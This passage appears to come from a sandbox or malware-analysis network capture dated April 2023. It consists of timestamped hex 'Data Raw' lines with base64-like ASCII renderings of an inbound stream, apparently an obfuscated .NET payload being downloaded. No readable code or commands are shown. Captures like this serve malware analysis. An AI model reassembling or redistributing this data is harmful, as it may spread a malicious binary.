62 47 39 79 64 47 35 76 51 32 39 4f 41 41 4f 47 67 4f 4b 42 67 4f Data Ascii: EgOKAgOKDgOIOAHN1Y29GdHNvTHhvQnR4ZVRuTwByZXRuRWVzdW9Nbk8AAoaA4oGA4oSA4oaA4oKA4g4AAoaA4oGA4oSA4oSA4oKA4g4AeXRpdml0aXNuZVNsZWVoV2hjdGlQAGxlZWhXaGN0aVAAZXJ1c3NlclBsZW5uYWhDAGVydXNzZXJQeWxvUAByZWJtdU55ZUtuT2V0b04AeXRpY29sZVZuT2V0b04AcmVsbG9ydG5vQ29OAAOGgOKBgO
2023-04-20 23:03:01 UTC	4692	IN	Data Raw: 69 44 77 43 47 67 4f 4b 4c 67 4f 49 50 41 49 57 41 34 6f 75 41 34 67 38 41 68 49 44 69 69 34 44 69 44 77 43 42 67 4f 4b 4c 67 4f 49 50 41 49 43 41 34 6f 75 41 34 67 38 41 69 34 44 69 44 77 43 48 67 4f 4b 4b 67 4f 49 50 41 49 61 41 34 6f 71 41 34 67 38 41 68 59 44 69 69 6f 44 69 44 77 43 45 67 4f 4b 4b 67 4f 49 50 41 49 47 41 34 6f 71 41 34 67 38 41 67 49 44 69 69 6f 44 69 44 77 43 4b 67 4f 49 50 41 49 65 41 34 6f 6d 41 34 67 38 41 68 6f 44 69 69 59 44 69 44 77 43 46 67 4f 4b 4a 67 4f 49 50 41 49 53 41 34 6f 6d 41 34 67 38 41 67 59 44 69 69 59 44 69 44 77 43 41 67 4f 4b 4a 67 4f 49 50 41 49 6d 41 34 67 38 41 68 34 44 69 69 49 44 69 44 77 43 47 67 4f 4b 49 67 4f 49 50 41 49 57 41 34 6f 69 41 34 67 38 41 68 49 44 69 69 49 44 69 44 77 43 42 67 4f 4b 49 67 4f Data Ascii: iDwCGgOKLgOIPAIWA4ouA4g8AhIDii4DiDwCBgOKLgOIPAICA4ouA4g8Ai4DiDwCHgOKKgOIPAIaA4oqA4g8AhYDiioDiDwCEgOKKgOIPAIGA4oqA4g8AgIDiioDiDwCKgOIPAIeA4omA4g8AhoDiiYDiDwCFgOKJgOIPAISA4omA4g8AgYDiiYDiDwCAgOKJgOIPAImA4g8Ah4DiiIDiDwCGgOKIgOIPAIWA4oiA4g8AhIDiiIDiDwCBgOKIgO
2023-04-20 23:03:01 UTC	4708	IN	Data Raw: 41 39 67 44 33 41 4e 30 41 33 67 44 49 41 4e 4d 41 79 41 44 53 41 4d 67 41 30 51 44 49 41 4e 41 41 79 41 44 50 41 4d 67 41 7a 67 44 49 41 4d 30 41 79 41 44 4d 41 4d 67 41 79 77 44 49 41 4d 6f 41 79 41 44 4a 41 4d 59 41 78 77 43 39 41 4c 34 41 74 41 43 33 41 4c 51 41 74 67 43 30 41 4c 55 41 6e 77 43 67 41 49 38 41 6b 51 43 50 41 4a 41 41 58 41 42 64 41 45 55 41 52 67 41 2f 41 45 41 41 4e 41 41 2b 41 44 51 41 50 51 41 30 41 44 77 41 4e 41 41 37 41 44 51 41 4f 67 41 30 41 44 6b 41 4e 41 41 34 41 44 51 41 4e 77 41 30 41 44 59 41 4e 41 41 31 41 43 55 41 4a 77 41 6c 41 43 59 41 41 41 46 63 41 41 41 41 41 67 41 53 76 4e 77 41 41 41 45 39 41 41 41 41 41 67 41 53 4e 78 67 41 41 41 45 63 41 41 41 41 41 67 41 4a 53 67 51 41 41 41 44 37 41 41 41 41 41 67 41 41 41 41 Data Ascii: A9gD3AN0A3gDIANMAyADSAMgA0QDIANAAyADPAMgAzgDIAM0AyADMAMgAywDIAMoAyADJAMYAxwC9AL4AtAC3ALQAtgC0ALUAnwCgAI8AkQCPAJAAXABdAEUARgA/AEAANAA+ADQAPQA0ADwANAA7ADQAOgA0ADkANAA4ADQANwA0ADYANAA1ACUAJwAlACYAAAFcAAAAAgASvNwAAAE9AAAAAgASNxgAAAEcAAAAAgAJSgQAAAD7AAAAAgAAAA
2023-04-20 23:03:01 UTC	4724	IN	Data Raw: 41 41 43 77 68 4f 2b 52 69 6d 67 41 41 4c 41 45 37 32 47 4b 61 41 41 41 72 34 54 76 42 59 70 6f 41 41 43 76 42 4f 38 46 69 6d 67 41 41 4b 36 45 37 6f 57 4b 61 41 41 41 72 67 54 75 53 59 70 6f 41 41 43 74 68 4f 32 78 69 6d 67 41 41 4b 30 45 37 55 32 4b 61 41 41 41 72 49 55 47 69 41 54 73 41 41 43 73 44 54 39 63 42 51 77 41 41 4b 77 4d 37 50 57 4b 61 41 41 41 72 41 54 73 75 59 70 6f 41 41 43 72 68 4f 79 56 69 6d 67 41 41 4b 73 45 37 44 6d 4b 61 41 41 41 71 6f 54 73 45 59 70 6f 41 41 43 71 42 4f 76 74 69 6d 67 41 41 4b 6d 45 36 34 6d 4b 61 41 41 41 71 51 54 72 5a 59 70 6f 41 41 43 6f 68 54 66 6f 42 51 77 41 41 4b 67 4e 42 6f 67 45 37 41 41 41 71 41 7a 72 51 59 70 6f 41 41 43 6f 42 4f 72 74 69 6d 67 41 41 4b 65 45 36 73 57 4b 61 41 41 41 70 77 54 71 6f 59 70 Data Ascii: AACwhO+RimgAALAE72GKaAAAr4TvBYpoAACvBO8FimgAAK6E7oWKaAAArgTuSYpoAACthO2ximgAAK0E7U2KaAAArIUGiATsAACsDT9cBQwAAKwM7PWKaAAArATsuYpoAACrhOyVimgAAKsE7DmKaAAAqoTsEYpoAACqBOvtimgAAKmE64mKaAAAqQTrZYpoAACohTfoBQwAAKgNBogE7AAAqAzrQYpoAACoBOrtimgAAKeE6sWKaAAApwTqoYp
2023-04-20 23:03:01 UTC	4740	IN	Data Raw: 41 72 54 38 61 41 69 77 41 66 33 50 45 41 68 51 41 34 48 56 41 41 6a 52 67 64 48 51 4d 41 6a 51 41 63 47 6a 53 41 69 78 67 50 69 78 75 41 67 51 41 63 47 6a 53 41 69 52 42 48 53 78 75 41 68 77 42 68 48 47 42 41 68 51 41 6f 48 47 62 41 67 51 41 34 48 56 41 41 67 51 42 68 48 47 42 41 67 51 42 69 6e 47 4d 41 67 77 41 6f 43 78 4d 41 67 78 67 64 48 51 4d 41 67 51 41 66 33 50 45 41 67 51 41 6f 43 78 4d 41 67 51 41 6f 43 78 4d 41 66 77 49 4b 7a 52 49 42 4e 6b 42 48 54 51 2b 42 4e 6b 49 49 7a 51 35 42 4e 6b 41 6f 44 51 7a 42 4e 6b 41 72 54 51 6d 42 4e 6b 41 72 54 51 61 42 4e 6b 41 72 54 51 4f 42 4e 6b 41 6f 43 78 4d 42 4e 6b 7a 67 44 52 49 42 44 6b 44 42 43 78 4d 41 2b 45 6b 43 33 55 33 42 44 46 66 72 33 55 74 41 4e 46 6a 54 58 43 66 41 37 6b 5a 6b 33 55 68 42 74 Data Ascii: ArT8aAiwAf3PEAhQA4HVAAjRgdHQMAjQAcGjSAixgPixuAgQAcGjSAiRBHSxuAhwBhHGBAhQAoHGbAgQA4HVAAgQBhHGBAgQBinGMAgwAoCxMAgxgdHQMAgQAf3PEAgQAoCxMAgQAoCxMAfwIKzRIBNkBHTQ+BNkIIzQ5BNkAoDQzBNkArTQmBNkArTQaBNkArTQOBNkAoCxMBNkzgDRIBDkDBCxMA+EkC3U3BDFfr3UtANFjTXCfA7kZk3UhBt
2023-04-20 23:03:01 UTC	4756	IN	Data Raw: 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 61 50 51 41 44 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 61 52 41 41 46 41 41 41 61 52 67 41 45 41 41 41 61 50 51 41 44 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 61 50 51 41 44 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 Data Ascii: YxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAaPQADAAAZ0QACAAAYxgABAAAaRAAFAAAaRgAEAAAaPQADAAAZ0QACAAAYxgABAAAYxgABAAAYxgABAAAZ0QACAAAYxgABAAAZ0QACAAAYxgABAAAaPQADAAAZ0QACAAAYxgABAAAZ0QACAAAYxgABAAAZ0QACAAAYxgABAAAYxgABAAAZ0QACAA
2023-04-20 23:03:01 UTC	4772	IN	Data Raw: 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 61 50 51 41 44 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 59 78 67 41 42 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 41 61 50 51 41 44 41 41 41 5a 30 51 41 43 41 41 41 59 78 67 41 42 41 41 Data Ascii: YxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAYxgABAAAaPQADAAAZ0QACAAAYxgABAAAZ0QACAAAYxgABAAAYxgABAAAYxgABAAAZ0QACAAAYxgABAAAYxgABAAAZ0QACAAAYxgABAAAaPQADAAAZ0QACAAAYxgABAA
2023-04-20 23:03:01 UTC	4788	IN	Data Raw: 4f 58 42 48 54 41 4f 41 5a 30 51 43 42 41 41 41 41 42 4d 34 38 45 64 4d 41 66 78 6e 52 41 49 59 41 41 41 41 45 7a 68 77 52 30 67 44 67 47 4d 59 41 67 51 41 41 41 41 54 4e 2f 42 48 53 41 48 38 59 78 67 43 47 41 41 41 41 42 4d 33 63 45 64 41 33 56 78 6a 47 41 4a 45 41 41 41 41 45 79 38 41 52 7a 6a 64 4e 47 4d 59 41 6c 67 41 41 41 41 54 4b 33 42 48 4e 4e 30 51 59 78 67 43 57 41 41 41 41 42 4d 71 38 45 63 30 41 58 43 78 46 47 4a 45 41 41 41 41 45 79 69 51 52 7a 51 43 67 4c 45 77 59 67 51 41 41 41 41 54 4b 42 42 48 4d 4e 79 45 59 78 67 43 57 41 41 41 41 42 4d 6b 67 45 63 73 33 47 78 6a 47 41 4a 59 41 41 41 41 45 78 2b 77 52 79 6a 63 57 47 4d 59 41 6b 51 41 41 41 41 54 48 76 42 48 49 4e 77 38 59 78 67 43 52 41 41 41 41 42 4d 64 45 45 63 59 33 43 52 6a 47 41 4a Data Ascii: OXBHTAOAZ0QCBAAAABM48EdMAfxnRAIYAAAAEzhwR0gDgGMYAgQAAAATN/BHSAH8YxgCGAAAABM3cEdA3VxjGAJEAAAAEy8ARzjdNGMYAlgAAAATK3BHNN0QYxgCWAAAABMq8Ec0AXCxFGJEAAAAEyiQRzQCgLEwYgQAAAATKBBHMNyEYxgCWAAAABMkgEcs3GxjGAJYAAAAEx+wRyjcWGMYAkQAAAATHvBHINw8YxgCRAAAABMdEEcY3CRjGAJ
2023-04-20 23:03:01 UTC	4804	IN	Data Raw: 41 41 41 41 44 33 30 67 4f 57 53 30 53 47 4d 59 41 67 51 41 41 41 41 50 66 49 41 35 59 4c 51 73 59 78 67 43 42 41 41 41 41 41 39 37 34 44 6c 63 74 42 42 6a 47 41 49 59 41 41 41 41 44 33 71 51 4f 56 79 7a 2b 47 4d 59 41 68 67 41 41 41 41 50 65 67 41 35 57 41 4b 67 61 52 67 43 47 41 41 41 41 41 39 34 77 44 6c 59 41 70 42 70 47 41 49 59 41 41 41 41 44 33 67 77 4f 56 51 43 6f 47 6a 30 41 68 67 41 41 41 41 50 64 76 41 35 56 41 4b 51 61 50 51 43 47 41 41 41 41 41 39 32 59 44 6c 51 41 71 42 6e 52 41 49 59 41 41 41 41 44 33 55 67 4f 56 41 43 6b 47 64 45 41 68 67 41 41 41 41 50 64 4a 41 35 54 41 4b 67 59 78 67 43 47 41 41 41 41 41 39 7a 55 44 6c 4d 41 70 42 6a 47 41 49 59 41 41 41 41 44 33 4c 41 4f 55 69 7a 33 4c 45 77 59 67 77 41 41 41 41 50 63 6b 41 35 52 41 2b Data Ascii: AAAAD30gOWS0SGMYAgQAAAAPfIA5YLQsYxgCBAAAAA974DlctBBjGAIYAAAAD3qQOVyz+GMYAhgAAAAPegA5WAKgaRgCGAAAAA94wDlYApBpGAIYAAAAD3gwOVQCoGj0AhgAAAAPdvA5VAKQaPQCGAAAAA92YDlQAqBnRAIYAAAAD3UgOVACkGdEAhgAAAAPdJA5TAKgYxgCGAAAAA9zUDlMApBjGAIYAAAAD3LAOUiz3LEwYgwAAAAPckA5RA+
2023-04-20 23:03:01 UTC	4820	IN	Data Raw: 73 54 42 69 44 41 41 41 41 41 75 51 6f 43 79 4d 41 6f 43 78 4d 47 49 59 41 41 41 41 43 34 35 77 4c 49 67 4c 72 47 4d 59 41 6b 77 41 41 41 41 4c 6a 48 41 73 68 41 4f 41 59 78 67 43 42 41 41 41 41 41 75 4c 6b 43 79 41 41 71 42 6e 52 41 49 59 41 41 41 41 43 34 73 51 4c 49 41 43 6b 47 64 45 41 68 67 41 41 41 41 4c 69 70 41 73 66 41 4b 67 59 78 67 43 47 41 41 41 41 41 75 4b 45 43 78 38 41 70 42 6a 47 41 49 59 41 41 41 41 43 34 6d 51 4c 48 41 46 49 4c 59 49 42 35 67 41 41 41 41 4c 68 36 41 73 63 41 52 4d 74 42 77 6e 6d 41 41 41 41 41 75 48 49 43 78 73 4b 71 43 78 4d 47 49 59 41 41 41 41 43 34 55 67 4c 47 51 67 55 4d 79 6f 41 78 67 41 41 41 41 4c 68 43 41 73 5a 41 49 4d 73 5a 51 44 47 41 41 41 41 41 75 43 45 43 78 6b 4b 6e 54 4d 71 41 4d 59 41 41 41 41 43 34 45 Data Ascii: sTBiDAAAAAuQoCyMAoCxMGIYAAAAC45wLIgLrGMYAkwAAAALjHAshAOAYxgCBAAAAAuLkCyAAqBnRAIYAAAAC4sQLIACkGdEAhgAAAALipAsfAKgYxgCGAAAAAuKECx8ApBjGAIYAAAAC4mQLHAFILYIB5gAAAALh6AscARMtBwnmAAAAAuHICxsKqCxMGIYAAAAC4UgLGQgUMyoAxgAAAALhCAsZAIMsZQDGAAAAAuCECxkKnTMqAMYAAAAC4E
2023-04-20 23:03:01 UTC	4836	IN	Data Raw: 47 38 67 43 74 51 34 63 41 68 67 41 41 41 41 49 4e 2b 41 62 79 41 48 39 44 54 41 43 47 41 41 41 41 41 67 33 55 42 76 45 42 42 6b 4c 32 41 49 59 41 41 41 41 43 44 53 51 47 38 41 45 47 51 74 41 41 68 67 41 41 41 41 49 4c 2f 41 62 75 47 4c 45 73 54 42 69 47 41 41 41 41 41 67 75 4d 42 75 34 41 6f 43 78 4d 47 49 59 41 41 41 41 43 43 79 77 47 36 77 45 69 4c 58 30 41 78 67 41 41 41 41 49 4b 37 41 62 71 41 52 30 74 63 41 6a 47 41 41 41 41 41 67 71 6f 42 75 6f 42 47 53 31 6a 43 4d 59 41 41 41 41 43 43 6f 51 47 36 67 45 5a 4c 56 67 49 78 67 41 41 41 41 49 4b 59 41 62 71 41 52 4d 74 42 77 6a 47 41 41 41 41 41 67 70 41 42 75 59 59 6e 43 78 4d 47 49 59 41 41 41 41 43 43 67 51 47 35 42 55 6b 4c 45 77 59 68 67 41 41 41 41 49 4a 30 41 62 6b 41 48 38 61 53 41 43 47 41 41 Data Ascii: G8gCtQ4cAhgAAAAIN+AbyAH9DTACGAAAAAg3UBvEBBkL2AIYAAAACDSQG8AEGQtAAhgAAAAIL/AbuGLEsTBiGAAAAAguMBu4AoCxMGIYAAAACCywG6wEiLX0AxgAAAAIK7AbqAR0tcAjGAAAAAgqoBuoBGS1jCMYAAAACCoQG6gEZLVgIxgAAAAIKYAbqARMtBwjGAAAAAgpABuYYnCxMGIYAAAACCgQG5BUkLEwYhgAAAAIJ0AbkAH8aSACGAA
2023-04-20 23:03:01 UTC	4852	IN	Data Raw: 41 41 51 7a 4d 41 32 55 4d 36 78 6e 52 41 49 45 41 41 41 41 42 44 49 77 44 59 77 7a 72 47 4d 59 41 67 51 41 41 41 41 45 4c 36 41 4e 6a 41 4b 41 61 50 51 43 42 41 41 41 41 41 51 74 51 41 32 4d 41 6f 42 6e 52 41 49 59 41 41 41 41 42 43 78 67 44 59 77 43 67 47 4d 59 41 68 67 41 41 41 41 45 4b 78 41 4e 69 44 4f 51 59 78 67 43 47 41 41 41 41 41 51 71 4d 41 32 45 41 34 42 6a 47 41 49 59 41 41 41 41 42 43 6d 77 44 59 51 42 2f 47 4d 59 41 68 67 41 41 41 41 45 4b 54 41 4e 67 44 4e 30 61 50 51 43 47 41 41 41 41 41 51 6f 73 41 32 41 4d 31 78 6f 39 41 49 59 41 41 41 41 42 43 67 77 44 58 77 7a 64 47 64 45 41 68 67 41 41 41 41 45 4a 37 41 4e 66 44 4e 63 5a 30 51 43 47 41 41 41 41 41 51 6e 4d 41 31 38 41 67 78 6e 52 41 49 59 41 41 41 41 42 43 57 77 44 58 67 4e 49 47 64 Data Ascii: AAQzMA2UM6xnRAIEAAAABDIwDYwzrGMYAgQAAAAEL6ANjAKAaPQCBAAAAAQtQA2MAoBnRAIYAAAABCxgDYwCgGMYAhgAAAAEKxANiDOQYxgCGAAAAAQqMA2EA4BjGAIYAAAABCmwDYQB/GMYAhgAAAAEKTANgDN0aPQCGAAAAAQosA2AM1xo9AIYAAAABCgwDXwzdGdEAhgAAAAEJ7ANfDNcZ0QCGAAAAAQnMA18AgxnRAIYAAAABCWwDXgNIGd
2023-04-20 23:03:01 UTC	4868	IN	Data Raw: 46 78 67 41 41 41 41 41 41 41 41 42 76 41 70 59 75 49 51 58 47 41 41 41 41 41 41 41 41 41 47 34 43 74 53 34 68 42 63 59 41 41 41 41 41 41 41 41 41 62 51 4b 74 4c 69 45 46 78 67 41 41 41 41 41 41 41 41 42 73 41 71 59 74 32 51 58 47 41 41 41 41 41 41 41 41 41 47 6b 43 6e 43 33 5a 42 63 59 41 41 41 41 41 41 41 41 41 61 41 4b 57 4c 64 6b 46 78 67 41 41 41 41 41 41 41 41 42 6f 41 4b 41 74 2f 51 58 47 41 41 41 41 41 41 41 41 41 47 67 41 6f 43 33 72 42 63 59 41 41 41 41 41 41 41 41 41 5a 67 4b 4f 4c 64 6b 46 78 67 41 41 41 41 41 41 41 41 42 6a 41 6f 41 74 32 51 58 47 41 41 41 41 41 41 41 41 41 47 45 43 65 43 33 5a 42 63 59 41 41 41 41 41 41 41 41 41 58 77 4a 75 4c 64 6b 46 78 67 41 41 41 41 41 41 41 41 42 64 41 6d 59 74 32 51 58 47 41 41 41 41 41 41 41 41 41 46 Data Ascii: FxgAAAAAAAABvApYuIQXGAAAAAAAAAG4CtS4hBcYAAAAAAAAAbQKtLiEFxgAAAAAAAABsAqYt2QXGAAAAAAAAAGkCnC3ZBcYAAAAAAAAAaAKWLdkFxgAAAAAAAABoAKAt/QXGAAAAAAAAAGgAoC3rBcYAAAAAAAAAZgKOLdkFxgAAAAAAAABjAoAt2QXGAAAAAAAAAGECeC3ZBcYAAAAAAAAAXwJuLdkFxgAAAAAAAABdAmYt2QXGAAAAAAAAAF
2023-04-20 23:03:01 UTC	4884	IN	Data Raw: 41 41 51 47 72 47 4d 59 41 49 51 43 52 4c 48 77 47 42 67 46 68 47 4d 59 41 45 51 55 74 47 6b 59 41 41 52 72 50 47 6a 30 41 41 51 45 30 47 64 45 41 49 51 71 6a 47 4d 59 41 49 51 52 52 47 4d 59 41 41 51 43 52 4c 48 77 47 42 67 4c 77 47 6b 59 41 41 51 43 32 47 6a 30 41 41 51 43 32 47 64 45 41 41 51 43 2b 47 4d 59 41 41 51 47 56 47 64 45 41 41 51 47 6f 47 4d 59 41 41 52 46 64 47 6b 6f 41 41 52 70 4d 47 6b 67 41 41 52 70 48 47 6b 51 41 41 52 70 43 47 6b 59 41 41 52 6f 2b 47 6a 30 41 41 51 45 30 47 64 45 41 41 52 6f 35 47 4d 59 41 41 51 44 2f 47 6a 30 41 42 41 45 30 47 64 45 41 49 51 54 30 47 4d 59 41 42 42 6f 41 47 6b 51 41 42 41 43 52 47 6b 59 41 42 41 47 6c 47 6a 30 41 42 42 6e 37 47 64 45 41 41 78 6e 32 47 4d 59 41 41 77 44 33 49 4e 55 41 41 51 55 74 48 66 Data Ascii: AAQGrGMYAIQCRLHwGBgFhGMYAEQUtGkYAARrPGj0AAQE0GdEAIQqjGMYAIQRRGMYAAQCRLHwGBgLwGkYAAQC2Gj0AAQC2GdEAAQC+GMYAAQGVGdEAAQGoGMYAARFdGkoAARpMGkgAARpHGkQAARpCGkYAARo+Gj0AAQE0GdEAARo5GMYAAQD/Gj0ABAE0GdEAIQT0GMYABBoAGkQABACRGkYABAGlGj0ABBn7GdEAAxn2GMYAAwD3INUAAQUtHf
2023-04-20 23:03:01 UTC	4900	IN	Data Raw: 46 48 41 4c 46 41 41 41 69 30 67 41 51 41 51 41 4a 34 67 55 5a 41 73 55 41 41 43 4c 4b 41 42 41 42 41 41 6e 54 42 52 6b 43 62 51 41 41 49 73 49 41 45 41 43 41 43 64 41 46 46 41 51 74 41 41 41 69 75 67 41 53 41 51 67 4a 79 67 55 54 41 73 55 41 41 43 4b 79 41 42 41 42 41 41 6e 44 42 52 4d 41 41 41 41 41 49 71 6f 41 41 42 43 67 43 63 41 46 45 77 4c 46 41 41 41 69 70 51 41 51 41 59 41 4a 75 67 55 4a 42 43 30 41 41 43 4b 64 41 42 49 42 43 41 6d 36 42 51 67 42 30 51 41 41 49 70 55 41 41 41 45 41 43 62 59 46 43 41 4b 70 41 41 41 5a 30 51 41 41 41 51 4d 4a 73 67 55 49 41 71 6b 41 41 42 6a 47 41 41 41 42 41 77 6d 73 42 51 59 46 6d 51 41 41 49 6f 30 41 45 41 45 41 43 61 77 45 38 77 48 52 41 41 41 69 68 51 41 41 41 51 41 4a 6c 77 54 7a 41 41 41 41 41 43 4a 39 41 41 Data Ascii: FHALFAAAi0gAQAQAJ4gUZAsUAACLKABABAAnTBRkCbQAAIsIAEACACdAFFAQtAAAiugASAQgJygUTAsUAACKyABABAAnDBRMAAAAAIqoAABCgCcAFEwLFAAAipQAQAYAJugUJBC0AACKdABIBCAm6BQgB0QAAIpUAAAEACbYFCAKpAAAZ0QAAAQMJsgUIAqkAABjGAAABAwmsBQYFmQAAIo0AEAEACawE8wHRAAAihQAAAQAJlwTzAAAAACJ9AA
2023-04-20 23:03:01 UTC	4916	IN	Data Raw: 52 36 51 6c 54 54 33 31 6e 76 70 43 6b 54 33 50 73 64 43 6e 39 4f 69 4b 63 64 35 57 79 72 36 74 4e 67 32 39 37 55 75 34 53 65 42 4a 32 4e 37 54 76 4c 47 58 46 76 4d 62 4b 46 6a 54 2f 76 6a 42 4f 79 41 6d 2f 4e 79 35 69 53 61 34 48 34 6a 5a 71 34 35 5a 2f 50 72 6a 69 76 55 77 4e 55 50 4f 79 70 6b 34 7a 36 72 57 4d 5a 37 36 51 6a 52 38 37 43 54 54 70 34 4c 62 64 6b 30 4d 55 61 74 4d 63 55 62 68 37 79 6a 4f 6d 59 50 69 78 70 75 65 2b 6b 54 36 70 53 75 47 5a 76 38 6e 79 35 43 76 4e 38 4d 4d 42 38 2f 30 4d 39 31 30 69 55 58 6f 63 67 71 35 45 56 2b 65 2b 6b 52 37 6f 72 75 6e 52 32 73 4f 62 42 50 73 30 37 44 6b 30 38 36 2b 44 4e 51 47 2f 33 45 41 49 2b 59 55 30 6d 73 63 4c 55 68 50 42 6d 77 77 46 6c 37 72 30 79 48 4e 47 6f 6f 55 2b 66 6c 33 61 69 4f 47 38 53 58 Data Ascii: R6QlTT31nvpCkT3PsdCn9OiKcd5Wyr6tNg297Uu4SeBJ2N7TvLGXFvMbKFjT/vjBOyAm/Ny5iSa4H4jZq45Z/PrjivUwNUPOypk4z6rWMZ76QjR87CTTp4Lbdk0MUatMcUbh7yjOmYPixpue+kT6pSuGZv8ny5CvN8MMB8/0M910iUXocgq5EV+e+kR7orunR2sObBPs07Dk086+DNQG/3EAI+YU0mscLUhPBmwwFl7r0yHNGooU+fl3aiOG8SX
2023-04-20 23:03:01 UTC	4932	IN	Data Raw: 71 57 54 70 61 48 2b 65 2b 6f 4a 7a 75 34 42 6a 6e 57 6a 46 77 4d 33 72 43 71 52 6a 78 6d 6f 58 2f 33 78 44 62 4e 38 77 75 70 7a 6a 4d 65 75 65 2b 6f 50 52 65 36 46 53 36 68 6a 70 62 79 4a 4b 52 77 41 5a 58 4d 56 78 6b 75 50 66 52 57 4f 4b 7a 73 41 58 41 49 79 45 56 69 79 64 4c 66 2f 57 53 75 38 64 53 56 69 43 74 68 54 44 58 6e 51 65 73 45 4b 50 2b 33 6a 7a 6e 76 71 44 71 55 5a 45 78 6b 38 30 54 6b 48 64 74 54 65 65 2b 6f 53 39 35 6a 41 64 72 31 6e 32 4f 63 38 6d 48 35 37 36 68 4d 52 6b 73 4d 42 71 36 50 6c 33 44 47 73 6f 6e 75 36 61 48 56 74 4c 75 59 2b 6f 49 43 76 4a 48 47 4a 6b 6a 59 30 34 58 4e 37 6e 64 61 53 33 39 33 56 51 48 49 6a 45 67 69 74 31 34 6a 51 72 6e 76 71 46 44 32 6a 44 51 43 78 6d 74 6f 70 68 42 58 6f 31 6d 77 39 79 4c 6d 6e 44 79 5a 46 Data Ascii: qWTpaH+e+oJzu4BjnWjFwM3rCqRjxmoX/3xDbN8wupzjMeue+oPRe6FS6hjpbyJKRwAZXMVxkuPfRWOKzsAXAIyEViydLf/WSu8dSViCthTDXnQesEKP+3jznvqDqUZExk80TkHdtTee+oS95jAdr1n2Oc8mH576hMRksMBq6Pl3DGsonu6aHVtLuY+oICvJHGJkjY04XN7ndaS393VQHIjEgit14jQrnvqFD2jDQCxmtophBXo1mw9yLmnDyZF
2023-04-20 23:03:01 UTC	4948	IN	Data Raw: 77 6d 6a 4e 56 46 51 38 6a 41 76 34 59 2f 52 34 6f 68 37 2b 50 38 2f 38 61 5a 44 54 37 71 71 35 6c 6b 38 31 66 47 55 42 52 35 2f 50 52 75 37 71 69 68 61 62 38 6b 2b 65 2b 38 4d 33 46 54 62 2f 44 2f 47 4a 62 39 47 5a 44 4e 4c 4b 74 36 37 64 76 76 58 33 48 48 70 58 55 72 35 4b 49 6f 47 6e 71 47 38 4c 75 77 50 38 64 4d 37 32 66 73 6c 6a 6e 76 76 44 77 35 34 4f 55 67 4f 77 67 36 4d 65 42 6c 4a 37 32 49 4b 70 61 69 66 35 47 31 65 76 2b 63 30 51 43 7a 2b 34 5a 37 31 58 51 61 64 78 2f 4e 65 36 76 4d 55 42 55 35 37 37 78 47 7a 4e 6d 74 43 54 67 73 31 52 77 51 38 6b 4e 53 78 70 34 65 68 33 2f 42 6f 79 7a 45 6c 70 4d 4f 53 43 42 49 5a 34 39 63 51 6e 31 59 75 4a 75 34 6a 68 68 4a 4f 65 2b 38 55 37 64 54 59 33 63 53 4b 52 4e 45 65 31 46 46 66 4f 76 59 54 4c 34 4c 36 Data Ascii: wmjNVFQ8jAv4Y/R4oh7+P8/8aZDT7qq5lk81fGUBR5/PRu7qihab8k+e+8M3FTb/D/GJb9GZDNLKt67dvvX3HHpXUr5KIoGnqG8LuwP8dM72fsljnvvDw54OUgOwg6MeBlJ72IKpaif5G1ev+c0QCz+4Z71XQadx/Ne6vMUBU577xGzNmtCTgs1RwQ8kNSxp4eh3/BoyzElpMOSCBIZ49cQn1YuJu4jhhJOe+8U7dTY3cSKRNEe1FFfOvYTL4L6
2023-04-20 23:03:01 UTC	4964	IN	Data Raw: 59 66 70 69 77 7a 4f 76 73 74 73 6a 73 36 38 55 6b 54 73 50 65 41 31 55 79 38 6d 4e 7a 7a 57 2f 6e 43 6f 6e 75 50 39 49 32 38 7a 59 73 49 2b 62 53 38 6b 2b 37 50 76 52 6e 6c 5a 59 38 6c 33 45 34 78 42 46 37 6f 6b 56 55 32 39 77 36 56 4c 45 46 59 37 6b 68 54 37 74 59 4f 44 7a 71 44 31 49 72 36 75 53 44 38 66 74 57 69 35 4a 77 6c 6c 78 42 56 6f 5a 59 69 35 72 53 47 48 43 77 71 4c 39 2f 36 2b 2b 68 46 6f 73 38 34 49 74 55 64 7a 45 44 4a 77 33 39 39 45 66 34 69 62 61 42 72 50 30 2f 35 42 36 43 6e 76 41 73 58 5a 31 77 59 72 59 39 4c 4d 4a 49 69 39 31 7a 6d 79 47 57 55 54 56 49 37 73 48 68 50 4e 4b 7a 54 47 47 6b 62 31 6b 7a 74 64 6a 6a 4d 4e 63 61 78 62 63 6d 75 6e 62 70 46 75 6e 74 42 75 4c 56 74 6c 6c 2b 68 63 79 48 56 54 50 68 53 54 54 6b 66 7a 6f 35 32 44 